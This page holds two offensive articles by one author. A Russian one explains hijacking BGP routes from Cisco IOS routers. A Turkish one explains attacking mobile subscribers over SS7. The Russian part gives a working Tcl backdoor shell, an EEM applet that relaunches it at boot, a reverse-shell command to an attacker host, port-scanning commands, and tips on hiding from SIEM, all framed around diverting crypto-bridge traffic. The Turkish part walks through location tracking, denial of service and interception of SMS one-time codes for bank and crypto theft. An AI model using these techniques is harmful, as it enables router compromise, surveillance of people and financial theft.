Author: Nikolay Pleshakov

  • Перехват bgp-сессии и подмена маршрута с помощью Cisco TCL

    Перехват bgp-сессии и подмена маршрута с помощью Cisco TCL

    Обычно мониторинг ситуаций, связанных с перехватом трафика через bgp route hijacking затруднен, и в SIEM очень трудно отследить что-то связанное с изменением глобальной маршрутизации при внедрения bgp-маршрута нарушителем. Поговорим немного о том, как можно использовать маршрутизатор под управлением Cisco IOS с привилегированным доступом level 15, что обычно позволяет реализовать сценарии bgp spoofing с использованием встроенного в Cisco IOS функционала скриптового движка TCL.

    Вариантов изменения маршрутов (создание bgp обхода при помощи bgp route injection) в глобальной сети может быть несколько, однако самый простой из них — получению доступа к пограничному роутеру, а уже эту задачу можно решать различными способами и методами, мне на ум пришло несколько таких: 

    • Брутфорс пароля от интерфейса управления BGP;
    • Получение доступа посредством угона почты/аккаунта/компьютера одного из сотрудников или администраторов какого-нибудь провайдера (который управляет этим bgp роутером);
    • Поиск или эксплуатация уже существующих уязвимостей в BGP-сервере, который запущен на Linux-машине (по моему опыту, это чаще всего это Bird, Quagga (FRR) или же это будет виртуальный девайс Cisco, Juniper или Huawei);
    • Получение доступа к управлению софтовым маршрутизатором BGP через сторонние сервисы, запущенные на этом же Linux-сервере;
    • «Вклинивание» в уже установленную BGP сессию между определенными узлами, но об этом мы поговорим чуточку позже, или напишите мне в личку, мой Jabber есть в контактах на сайте. 

    Сейчас я опишу несколько вариантов реализации bgp route leak, и поверь, их использование действительно приводит к повышению прав с последующим изменением таблиц маршрутизации на, якобы, защищенном маршрутизаторе под управлением Cisco IOS. Тебе это сильно пригодится для более глубокого осмысления роли bgp hijacking в криптоиндустрии, как раз для создания своего bgp сервера обхода и приземления нужного тебе трафика на свой криптомост.

    реальный перехват bgp-сессии на оборудовании крупного телекоммуникационного провайдера

    Tcl – это Tool Command Language, язык сценариев, часто применяемых с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения, вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl.

    В операционную систему Cisco IOS, используемую маршрутизаторами Cisco Systems, интерпретатор Tcl был внедрён начиная с версии IOS 12.3(2)T, что позволило реализовать в маршрутизаторах под управлением Cisco IOS функции выполнения “пользовательских” скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.

    Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора под управлением Cisco IOS для следующих действий:

    • Разработка собственного варианта “бэкдора” с целью закрепления в системе и доступа к ней в обход штатных механизмов защиты;
    • Перехват bgp-сессии с подменой маршрутов или с внедрением своего маршрута; 
    • Проведение сканирования портов в различных сегментах сети провайдера;
    • Проброс действующих портов на порт интерфейса, организация обратного (реверсного) доступа к удаленным сетевым устройствам;
    • Процессинг крипты через подмену маршрута bgp до криптомоста с китами и подмена смартконтрактов на этом мосте;
    • Создание bgp обхода для инфильтрации трафика на своём оборудовании;
    • Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.

    Данными методами также можно воспользоваться для дальнейшей реализации bgp route hijacking, получив доступ к TFTP-серверу телеком провайдера, где размещены существующие активные TCL-сценарии и принудительно заменить существующий сценарий на собственный, предназначенный для захвата bgp-сессии и реализации bgp spoofing сценария или создания bgp сервера обхода с подстановкой криптомоста и последующим приземлением на него трафика китов. В этом случае произойдет загрузка именно твоего сценария TCL и запуск его на пограничном bgp-маршрутизаторе.

    Практикуемся

    Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий недавно использовался в качестве задания на соревнованиях “Рускрипто CTF“.

    В первую очередь давай разберем, как работает Tcl на устройствах под управлением Cisco IOS.

    Загрузка и исполнение TCL-скрипта:

    Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 enable. Скрипт Tcl необходимо загружать удаленно на маршрутизатор Cisco, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы Cisco IOS.

    Вот так выглядит загрузка скрипта во FLASH память и последующее его выполнение:

    Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
    Router# tclsh flash://script.tcl

    Загрузка скрипта непосредственно с TFTP-сервера:

    Router# tclsh tftp://192.168.1.4/script.tcl

    Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).

    proc callback {sock addr port} { 
    fconfigure $sock -translation crlf -buffering line
    puts $sock "Cisco router admin console:" 
    puts $sock " " 
    puts -nonewline $sock "Router# "
    flush $sock
    fileevent $sock readable [list echo $sock] 


    proc echo {sock} {
    global var

    flush $sock

    if {[catch {gets $sock line}] || 
    [eof $sock]} {
    return [close $sock]
    }

    catch {exec $line} result
    if {[catch {puts $sock $result}]} {
    return [close $sock]
    }

    puts -nonewline $sock "Router# "
    flush $sock
    }

    set port 2002
    set sh [socket -server callback $port] 
    vwait var 
    close $sh

    После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему режим EXEC без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя level 15.

    [ptsec@maxpatrol ~]$ telnet router 2002
    Trying 192.168.1.10...
    Connected to router.
    Escape character is '^]'.

    Cisco router admin console:

    Router#

    Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением Cisco IOS. В ранних версиях Cisco IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот “патч-фикс” производителя можно обойти несколькими способами:

    1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии пользователя скрипт завершит свою работу.

    Router>en
    Router#conf t
    Enter configuration commands, one per line. End with CNTL/Z.
    Router(config)#line vty 0 4
    Router(config-line)#exec-timeout 0 0

    2. Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация Cisco IOS, которая загружает скрипт с TFTP сервера после запуска маршрутизатора по истечении 20 секунд.

    Router(config)# event manager applet BACKDOOR
    Router(config-applet)# event timer countdown name Delay time 20
    Router(config-applet)# action 1.0 cli command "enable"
    Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
    Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"

    3. Конвертировать TCL-сцкнарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.

    Готовые утилиты и сценарии для bgp route hijacking

    В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный в Cisco IOS язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL во flash-память маршрутизатора или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL-скрипта на маршрутизатор описана выше.

    Примеры реализации:

    Организация бэкдора на маршрутизаторе (2002 порт):

    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe

    Организация реверсного шелла на нужный IP адрес сервера обхода bgp (порт 12345):

    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345

    (на твоей машине приемником шелла выступает обычный netcat: nc -l -p 12345)

    Проброс удаленного порта на локальный порт маршрутизатора (2002):

    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80

    У данного сценария есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.

    Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде Cisco IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.

    Рассмотрим примеры использования:

    Router>en
    Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
    Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
    [OK - 15912 bytes]

    Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
    [OK - 42121 bytes]

    Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC

    Free Memory on Platform = 29038388 / Memory required for this scan = 2622514

    Host 192.168.1.1 is unavailable

    Host 192.168.1.2 is unavailable

    Host 192.168.1.3 is unavailable

    Interesting ports on host 192.168.1.4
    PORT STATE SERVICE
    20/tcp closed ftp-data
    21/tcp closed ftp
    22/tcp closed ssh
    23/tcp closed telnet
    24/tcp closed priv-mail
    80/tcp open http
    443/tcp closed https

    Host 192.168.1.5 is unavailable

    Router#

    Изменение вариантов сканирования скрипта возможно путем добавления аргументов:

    -sP – только по ответу хоста;
    -sT – TCP-портов методом TCP connect;
    -sU – UDP-портов через функционал IP SLA.

    Учитывая богатые возможности языка ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании под управлением Cisco IOS для применения в локальной вычислительной сети провайдера для реализации bgp hijacking сценариев.

    Как скрыться от SIEM

    Имея возможность запускать сценарии TCL, также интересно иметь возможность отследить их исполнение в среде Cisco IOS. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:

    Router#show processes cpu | i Tcl
    212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16

    Router#show tcp brief all
    TCB Local Address Foreign Address (state)
    659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB
    654485B4 *.2002 *.* LISTEN
    65CA2D04 *.80 *.* LISTEN

    Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):

    Router#show control-plane host open-ports
    Active internet connections (servers and established)
    Prot Local Address Foreign Address Service State
    tcp *:23 *:0 Telnet LISTEN
    tcp *:23 192.168.1.4:1379 Telnet ESTABLIS
    tcp *:80 *:0 HTTP CORE LISTEN
    tcp *:1234 *:0 Tcl Serv - tty163 LISTEN

    bgp hijacking на устройствах под управлением Cisco IOS в 1999 и 2026

    Инженер электросвязи шатает BGP

    Таким образом, все поняли, что таблицу маршрутизации на любой, даже самой защищенной провайдерской Cisco можно изменить умело написанным и запущенным TCL-сценарием. В итоге ты получаешь шелл для манипулирования трафиком в глобальной сети Интернет для реализации нужных тебе сценариев bgp route hijacking для проведения изменений в глобальной таблице маршрутизации со всеми вытекающими отсюда последствиями. Боле подробно по теме ты можешь переговорить со мной в личке, контакты есть в соответствующем разделе на этом сайте.

  • SS7 kullanarak başkalarının SMS mesajlarını okumak ve konumlarını takip etmek

    SS7 kullanarak başkalarının SMS mesajlarını okumak ve konumlarını takip etmek

    Günümüzde mobil iletişim kullanmayan kimse muhtemelen yoktur. Ve mobil iletişim artık sadece telefon görüşmeleri, SMS ve internetle sınırlı değil. Çoğu zaman, bir telefon numarası banka kartına, e-postaya, sosyal medya hesaplarına, devlet hizmeti hesaplarına ve hatta operatörün web sitesindeki abonenin kişisel hesabına bağlıdır. Mobil iletişim güvenliği tartışılırken, genellikle radyo kanalının güvenliğinden bahsedilir, ancak SS7 sinyal ağından nadiren bahsedilir. Yakın zamana kadar, sinyal kanallarının güvenliği fiziksel güvenlikle sınırlıydı.

    Aslında, geleneksel telefon teknolojilerindeki sinyal ağına sızmak pratikte imkansızdı. Ancak ilerleme devam ediyor ve 21. yüzyılın başından beri IP telefonculuk, geleneksel telefonculuğun yerini yavaş yavaş alıyor. Artık herhangi bir kişisel bilgisayara birkaç ücretsiz program kurulabiliyor ve ardından SS7 protokolleri bilgisi ve programlama becerileri, harcanan zamanla birleştiğinde, bu bilgisayar güçlü bir suç aracına dönüştürülebiliyor – yeter ki hayal gücü dizginlenebilsin.

    Biraz teori

    Ancak hayal gücümüzü serbest bırakmadan önce, kısa bir sapma yaparak mobil iletişim teknolojisine dalalım. Mobil ağlar da dahil olmak üzere telefon ağları, abone trafiğini (ses veya veri) hizmet trafiğinden (örneğin, bağlantı kurma) açıkça ayırır. Hizmet trafiği esasen, belirli bir protokol, kural ve mesaj kümesini içeren Sinyalleme Sistemi 7’dir (SS7).

    Mobil iletişimde, düğümler IP adresleriyle değil, formatı telefon numaralarına benzeyen Küresel Başlık adresleriyle adreslenir. Küresel Başlık adresleri, telekom operatörüne atanan telefon numarası aralığı içinde olmalıdır ve eğer aralıklar ulusal düzeyde bölgelere ayrılmışsa, ağ düğümlerinin Küresel Başlık adresleri de bölgesel aralıklara karşılık gelmelidir.

    Burada tüm SS7 protokol yığınını açıklamayacağız. Şunu söylemek yeterlidir ki, MAP (Mobil Uygulama Bölümü) protokolü, bir mobil operatörün çekirdeğindeki düğümler arasındaki iletişim için kullanılır. MAP protokolü, mobil ağlara özgü işlevleri uygulamak üzere tasarlanmıştır; bunlar arasında mobil cihazın ağda kimlik doğrulaması ve kaydı, gelen aramalar için abone konumunun belirlenmesi ve abone hareket halindeyken kesintisiz bir sesli iletişim kanalının sürdürülmesi yer alır. Her işlem, kendi parametre setine sahip belirli MAP mesajlarına karşılık gelir. Çeşitli mesajlar aşağıda belirtilmiştir ve varsayılan olarak bunların tümü MAP protokolüne aittir.

    Mobil iletişim için normal telefon numaralarını kullanmaya alışkınız. Teknik mobil terimlerle, bu numaralara MSISDN (Mobil Abone Entegre Hizmetleri Dijital Ağ Numarası) denir. Bu numara, mobil operatörle sözleşme imzalandığında aboneye atanır. Ancak, ağ içinde aboneler farklı bir tanımlayıcı olan IMSI (Uluslararası Mobil Abone Kimliği) ile adreslenir ve bu tanımlayıcı belirli bir SIM karta bağlıdır. İşlemlerin büyük çoğunluğu abonenin IMSI ile adreslenmesini gerektirir; bu nedenle, belirli bir aboneye karşı çoğu saldırıyı gerçekleştirmek için öncelikle bu tanımlayıcı gereklidir.

    Ayrıca, SS7 protokollerinin düğüm kimlik doğrulaması, erişim listelerine dayalı mesaj filtreleme veya yeni ağ düğümlerinin dinamik yönlendirilmesi gibi işlevler için yetenekler sağlamadığını da belirtmek gerekir. Tüm bunlar, potansiyel bir saldırganın hedeflerine ulaşmasına olanak tanır.

    SS7’ye karşı saldırı seçenekleri

    Diyelim ki SS7 ağına erişim sağladınız ve bir Turkcell abonesine karşı bir dizi saldırı gerçekleştirmek istiyorsunuz. Hedef abonenin telefon numarasını bildiğinizi varsayalım. Daha önce de belirtildiği gibi, yapmanız gereken ilk şey, hedef telefon numarasına karşılık gelen IMSI tanımlayıcısını elde etmektir. Süreci daha iyi anlamak için, saldırının kendisinden uzaklaşalım ve öncelikle mobil iletişimdeki en basit hizmetlerden biri olan Kısa Mesaj Servisi’nin (SMS) nasıl çalıştığına bakalım.

    SMS mesajları nasıl çalışır?

    Öncelikle, mobil ağlardaki SMS mesajlarının, ses ve paket trafiğini tamamen atlayarak sinyal kanalları üzerinden iletildiğini belirtmek gerekir. İki abone arasındaki her işlemde bir kaynak ve bir alıcı bulunur. SMS gönderirken, abone alıcının telefon numarasını belirtir ve metni girer. Ancak, mesajın servis alanları SMS merkezinin adresini içerir: bu düğüm SMS mesajlarının yönlendirilmesinden sorumludur (ve adresi her telefonun SMS ayarlarında belirtilir). SMS mesaj akış şeması Şekil 1’de gösterilmiştir.

    Şekil 1. SMS mesaj akış diyagramı
    • Bir abone başka bir aboneye SMS mesajı gönderir. Bu mesaj, sinyal kanalları aracılığıyla göndericiye hizmet veren mobil santrale (MSC-1) ulaşır.
    • MSC-1 santrali bunu bir SMS olarak tanır, mesajda SMS merkezinin adresini görür ve MAP protokolünü kullanarak SMS’i bu adrese bir MO-ForwardSM mesajı iletir. Bu mesaja kısaca bakalım. Şu bilgileri içerir: gönderenin MSISDN’si, alıcının MSISDN’si ve SMS metni. Şimdi SMS merkezi zorlu bir görevle karşı karşıya. Birincisi, SMS mesajını iletmek alıcının IMSI’sini bilmeyi gerektirir; ikincisi, SMS merkezi abonenin konumunu bilmez. Mobil iletişimden bahsettiğimizi ve bir abonenin bugün İstanbul’da, yarın Abu Dabi’de olabileceğini unutmayalım…
    • Ancak gerçekte, durum o kadar da kötü değil, çünkü mobil şebekenin abone hareketlerini santrale kadar kaydeden bir abone veritabanı (HLR) vardır. SMS merkezi, abonenin IMSI’sini ve aboneye hizmet veren switch’in adresini almak için bu veritabanına erişir. SMS merkezi, alıcının MSISDN’sini parametre olarak belirterek MAP protokolünü kullanarak bir SendRoutingInfoForSM mesajı gönderir.
    • Daha önce de belirtildiği gibi, HLR veritabanı, aboneye şu anda hizmet veren switch’in adresini saklar. HLR ayrıca MSISDN ve IMSI eşleştirmelerini de saklar. Bunlar, HLR’nin SendRoutingInfoForSM yanıt mesajında ​​döndüreceği iki parametredir.
    • Şimdi SMS merkezi, alınan switch adresine, SMS metnini, gönderenin MSISDN’sini (SMS alındığında görüntülenecek olan) ve alıcının abonesinin IMSI’sini içeren bir MT-ForwardSM mesajı gönderir.
    • Alıcı switch, abonenin tam konumunu veritabanından aldıktan sonra SMS mesajını nihai alıcıya iletir.

    IMSI ve diğer avantajları elde etmek

    Bu nedenle, SMS merkezi SendRoutingInfoForSM mesajını kullanarak abonenin IMSI numarasını ve telefon numarasına dayalı olarak hizmet veren santralin adresini elde eder. SMS mesaj akışında abonelerin cep telefonlarının farklı ağlar tarafından hizmet verildiğini varsayarsak, SendRoutingInfoForSM mesajının bu ağlar arasında dolaştığını görürüz (Şekil 2).

    Şekil 2. Ağlar arasında SMS mesaj akışı

    Bir SMS merkezinin istekte bulunabilmesi için hedef ağın HLR adresini bilmesi gerekir. Ancak… bu aslında gerekli değildir. SMS merkezi, alıcının telefon numarasını Global Başlık olarak kullanarak bir SendRoutingInfoForSM mesajı gönderebilir. Global Başlık ve telefon numarası aynı aralıkta olduğundan, mesaj alıcının ağına iletilir ve ardından telefon numarası kullanılarak uygun HLR’ye yönlendirilir. Yanıt mesajında, HLR adresini açıklayacak ve abonenin MSC adresini ve IMSI’sini parametre olarak iletecektir.

    Sonuç olarak, bir SS7 ağına bağlanırken, saldırılarınızı gerçekleştirmek için başlangıçta yalnızca hedef abonenin telefon numarasını bilmeniz gerekir. Bir SendRoutingInfoForSM mesajı göndererek, hedeflemek istediğiniz abonenin HLR adresini, MSC adresini ve IMSI’sini alacaksınız.

    Abonenin konumunun belirlenmesi

    Şimdi gerçek saldırılara geçelim. Akla ilk gelen şey, hedeflediğiniz abonenin konumunu belirlemektir. Elbette, mobil ağın derinliklerinde, herhangi bir abonenin mevcut konumu hakkında bilgi olmalıdır. Ve gerçekten de, bu bilgi mevcuttur, ancak doğruluğu her zaman tutarlı değildir. Bu konuyu açıklığa kavuşturmak için telekomünikasyon teknolojisine geri dönmemiz gerekecek.

    Hücresel ağların yapısı

    Herkes hücresel baz istasyonu antenlerini görmüştür: şehirlerde, neredeyse her yüksek binada bulunurlar. Şehir dışı alanlarda ise baz istasyonu antenleri çoğunlukla özel direklere monte edilir. Baz istasyonları, ideal olarak kusursuz olması gereken ağ için radyo kapsama alanı sağlar. Baz istasyonları, GSM standardında BSC’ler (Baz İstasyonu Kontrol Cihazları) ve UMTS standardında RNC’ler (Radyo Ağı Kontrol Cihazları) olarak adlandırılan kontrol cihazlarına bağlıdır. Bu kontrol cihazları, MSC’ye (Mobil Anahtar) bağlıdır.

    Bir baz istasyonunun tipik olarak, her biri farklı bir sektörü veya hücreyi kapsayan birkaç anteni vardır. Her hücrenin bir Hücre Kimliği (CID) vardır. Hücreler, Konum Alanları adı verilen konumlara gruplandırılır ve bir Konum Alanı Kodu (LAC) ile tanımlanır. Bir Konum Alanı genellikle, baz istasyonlarının tek bir kontrol cihazına bağlı olduğu tüm sektörleri içerir.

    Bir aboneye hizmet veren hücrenin tanımlayıcısı, kontrol cihazının veritabanında saklanır. Ancak kontrol cihazları -hem BSC’ler hem de RNC’ler- doğrudan anahtara bağlanır ve harici ağlarla bağlantıları yoktur. Oradan herhangi bir bilgi çıkarmak neredeyse imkansızdır.

    Her MSC’nin ayrıca kendi veritabanı olan VLR (Ziyaret Edilen Konum Kaydı) bulunur ve bu veritabanı, anahtarın kapsama alanındaki tüm aboneler hakkında bilgi depolar. Hatta aboneler için LAC ve CID verilerini de içerir, ancak CID değeri yalnızca bir abone Konum Alanı sınırını geçtiğinde veya başka bir aktif eylem gerçekleştirdiğinde güncellenir. Bununla birlikte, ağın bakış açısından, yeni LAC bilgilerini değiştirmek bir telefon görüşmesi yapmakla aynı işlemdir.

    Kontrol cihazlarının aksine, anahtar harici ağlara bağlıdır ve SS7 ağına erişimi olan herkes, anahtarın veritabanından abonelerinin konum bilgilerini alabilir.

    Üç hamlelik oyun

    Mobil ağların nasıl kurulduğunu anladığımıza göre, saldırı tekniğini anlamak kolay. İlk adım, abonenin IMSI’sini ve ona hizmet veren switch’in adresini elde etmekle tamamen aynı. Yine, bu işlem SendRoutingInfoForSM mesajı kullanılarak yapılır (bu aşamada, operatörün SMS merkezini taklit ediyorsunuz).

    Bu noktada, switch’in veritabanına hemen bir istek gönderebilirsiniz, ancak bu, abonenin telefonunun şu anda bulunduğu hücrede herhangi bir aktif işlem gerçekleştirip gerçekleştirmediğinden emin olamayacağınız için, doğru olmayan bilgiler sağlama riskini taşır. Emin olmak için, abonenin telefonunu benzer işlemler yapmaya zorlamanız gerekir, ancak bunu abonenin fark etmeyeceği bir şekilde yapmanız gerekir.

    SMS standardı, aboneye görünmez olacak şekilde bir mesaj oluşturma olanağı sağlar; bu teknik Sessiz SMS olarak bilinir. Telefon mesajı alır, ancak alındığını belirtmez veya alınan SMS mesajları listesinde göstermez.

    İkinci hamlenizde, SMS merkezini taklit etmeye devam ediyorsunuz. İstediğiniz aboneye MT-ForwardSM mesajı içinde Sessiz SMS gönderiyorsunuz. Mesajın kendisi, ilk hamlede elde edilen adrese sahip anahtara gönderilir ve abone IMSI kullanılarak adreslenir. Bu mesaj geçtikten sonra, abonenin anahtar veritabanındaki konum bilgileri güncellenir. Artık mevcut LAC ve CID bilgilerini içerir.

    Şimdi geriye kalan tek şey, abonenin hizmet veren hücresi hakkında bilgi edinmek için anahtara bir istek göndermektir. Bu, anahtara gönderilen ProvideSubscriberInfo mesajı ile yapılır; abone IMSI kullanılarak adreslenir. (Hatırlayacağımız gibi, hem anahtar adresine hem de abonenin IMSI’sine zaten sahipsiniz.) Mobil ağlarda, bu mesaj, çevrimiçi faturalandırma için aranan abone hakkında konum bilgisi iletmek için kullanılır. Abone dolaşımdaysa, uygun faturalandırma şeması etkinleştirilir.

    ProvideSubscriberInfo mesajı, hizmet veren hücre tanımlayıcılarının tam bir setini döndürür: MCC (Mobil Ülke Kodu), MNC (Mobil Ağ Kodu), LAC ve CID. Bu dört parametreyi kullanarak bir baz istasyonunun coğrafi koordinatlarını ve hatta bir hücrenin yaklaşık kapsama alanını belirleyebilen birçok çevrimiçi hizmet vardır. Şekil 3, bu makaleyi yazarken konumumun belirlenmesinin sonucunu göstermektedir. Nokta, baz istasyonunu işaretlemektedir ve oturduğum bina gerçekten de dairenin içinde yer almaktadır.

    Şekil 3. Bir Tukrcell abonesinin konumunun belirlenmesi

    DoS saldırısı ve abone geçici olarak erişilemez durumda

    Bir sonraki saldırı, belirli bir aboneye yönelik bir DoS saldırısıdır. Saldırı tekniğini anlamak için, mobil ağların çalışma prensiplerine geri dönelim.

    Dolaşımdayken abone kaydı

    Abone başka bir ülkeye seyahat ettiğinde ve Turkcell veya Vodafone gibi bir dolaşım ortağı operatörünün ağına kaydolduğunda, mobil ağlarda meydana gelen sinyal alışverişini ve ana süreçleri ele alalım (Şekil 4’teki diyagram).

    Şekil 4. Dolaşım ortağı ağında abone kaydı
    • Turkcell şebekesine bağlı bir abone, deniz kenarına tatile gider. Gemiden indikten sonra telefonunu açar ve Telenor şebekesine bağlanır.
    • MSC Z anahtarı, abonenin IMSI numarasının ilk rakamlarını kullanarak abonenin geldiği ülkeyi ve şebekeyi belirler ve bu şebekeye abone kimlik doğrulaması için bir istek (SendAuthenticationInfo mesajı) gönderir.
    • Kimlik doğrulama ve şifreleme anahtarlarının atanmasından sorumlu düğüme AuC (Kimlik Doğrulama Merkezi) denir. Kimlik doğrulama için gerekli şifreleme anahtarını ve diğer hizmet bilgilerini belirler ve yanıt olarak gönderir.
    • Abone kimlik doğrulamasından sonra, yeni MSC Z anahtarına kaydolmalıdır. Anahtar, Turkcell şebekesine bir kayıt isteği (UpdateLocation mesajı) gönderir. Bu mesaj HLR’ye ulaşır.
    • UPdateLocation mesajını aldıktan sonra, HLR, abonenin daha önce kayıtlı olduğu MSC D anahtarına (abonenin profil belleğini serbest bırakması için) bir CancelLocation mesajı gönderir. HLR daha sonra veritabanındaki MSC Z’deki mevcut anahtar adresini günceller.
    • Kayıt isteğine yanıt olarak, HLR, InsertSubscriberData mesajında ​​MSC Z’ye bir abone profili gönderir. Bu profil, abonenin bağlı olduğu hizmetleri ve abonenin bu tür hizmetlere abone olması durumunda akıllı platformların adreslerini belirtir. Çoğu zaman, çevrimiçi faturalama sistemi akıllı platform olarak hizmet verir.

    Bu adımlar tamamlandıktan sonra, abone Telenor şebekesi içinde arama yapabilir ve alabilir. Gelen bir arama olduğunda, HLR bir konum isteği alacak ve bu istek aramayı Telenor MSC Z’ye yönlendirecektir.

    Saldırının uygulanması

    Peki, bir aboneyi gelen aramalar için DoS durumuna sokmak için geriye ne kalıyor? Basitçe, MSC adına abonenin ana ağına bir UpdateLocation mesajı göndermek yeterli. Sinyal akış şeması Şekil 5’te gösterilmiştir.

    Şekil 5. DoS saldırısı
    • Mesaj HLR’ye gönderilir ve abone, IMSI’si kullanılarak adreslenir (gerekli verileri nasıl elde edeceğimizi zaten biliyoruz). UpdateLocation mesajının bir diğer parametresi de yeni anahtarın adresidir.
    • HLR, veritabanındaki gerçek anahtarın bağlantısını kaldıracaktır.
    • HLR, abone profilini ekipmanınıza gönderecektir.

    Bu, abonenin aşağıdaki durumlardan biri gerçekleşene kadar gelen aramalar için menzil dışında kalacağı anlamına gelir:

    • abone farklı bir anahtarın menziline girer;
    • abone telefonu yeniden başlatır;
    • abone arama yapar veya SMS gönderir.

    Bu işlemlerden herhangi biri, HLR veritabanındaki anahtar adresini mevcut adresle güncelleyecek olan UpdateLocation prosedürünü başlatacaktır.

    Başkalarının SMS’lerini okumak

    Başka kişilerin SMS mesajlarını okuma yöntemini anlamak için gerekli olan teorik temeli zaten ele aldık. Aslında, başkalarının SMS mesajlarını okumak, sahte MSC olarak kendi ekipmanınızın adresini belirtmeniz koşuluyla, önceki saldırının bir sonucudur. Başka kişilerin SMS mesajlarını okumanın nasıl çalıştığına dair bir örneğe bakalım (Şekil 6). Hedef aboneye ait gerekli tüm tanımlayıcıları zaten elde ettiğinizi ve SS7 düğümünüzün adresini sahte MSC olarak belirterek onlara başarılı bir DoS saldırısı gerçekleştirdiğinizi varsayalım.

    Şekil 6. Başkalarının SMS mesajlarını okuma
    • Bir abone, başka bir aboneye SMS mesajı gönderir ve bu mesaj göndericiye hizmet veren anahtara ulaşır.
    • Anahtar, mesajı SMS merkezine iletir. Daha önce de bildiğimiz gibi, bu işlem MAP protokolünün MO-ForwardSM mesajında ​​gerçekleşir.
    • SMS merkezi, ihtiyaç duyduğunuz abonenin mevcut konumunu bilmediği için, SendRoutingInfoForSM mesajında ​​HLR’ye bir istek gönderir.
    • İhtiyaç duyduğunuz abone daha önce başarılı bir DoS saldırısına maruz kaldığı için, HLR veritabanı yanlış konum bilgisi içerir. HLR daha sonra bu yanlış bilgiyi SendRoutingInfoForSM yanıt mesajında ​​SMS merkezine geri gönderir.
    • SMS merkezi, hiçbir şeyden habersiz, SMS mesajını şifresiz olarak MAP protokolünün MT-ForwardSM mesajında ​​alınan adrese iletir. Ve bu adresin arkasında, daha önce de belirttiğimiz gibi, SS7 ağına bağlı ekipmanınız bulunur.

    SS7 ağına bağlanıldığında elde edilebilecek olanaklar

    Başka bir abonenin gelen SMS mesajlarını okuyarak elde edebileceğiniz potansiyel kazançları hayal edelim. Bu saldırı, insanların artık çoğunlukla mesajlaşma uygulamaları aracılığıyla iletişim kurması nedeniyle özel yazışmalara sızmak için etkisiz görünüyor. Bir bankadan veya kripto para borsasından ödeme yapmak için tek kullanımlık bir şifre elde etmek çok daha ilgi çekici. Banka kartı hesaplarından ve kripto para cüzdanlarından para transferi konusunda uzmanlaşmış grupların genellikle para çekmek için tek kullanımlık şifreleri yoktur.

    SMS müdahalesini kullanabilecek bir diğer saldırı senaryosu ise e-posta, sosyal medya ve devlet hizmetleri gibi çeşitli çevrimiçi hizmetler için şifreleri kurtarmaktır. Bu hizmetlerin tümü gizli bilgiler içerebilir ve değeri abonenin sosyal statüsüyle artar.

    Hemen hemen tüm mobil operatörler, bir abonenin kişisel hesabına SMS yoluyla erişmek için şifre talep eder. Kişisel hesabınıza eriştiğinizde, hizmetlerinizi yönetebilir, hesaplar arasında para transferi yapabilir ve bazı durumlarda SMS mesaj geçmişinizi görüntüleyebilirsiniz.

    Peki şimdi ne olacak?

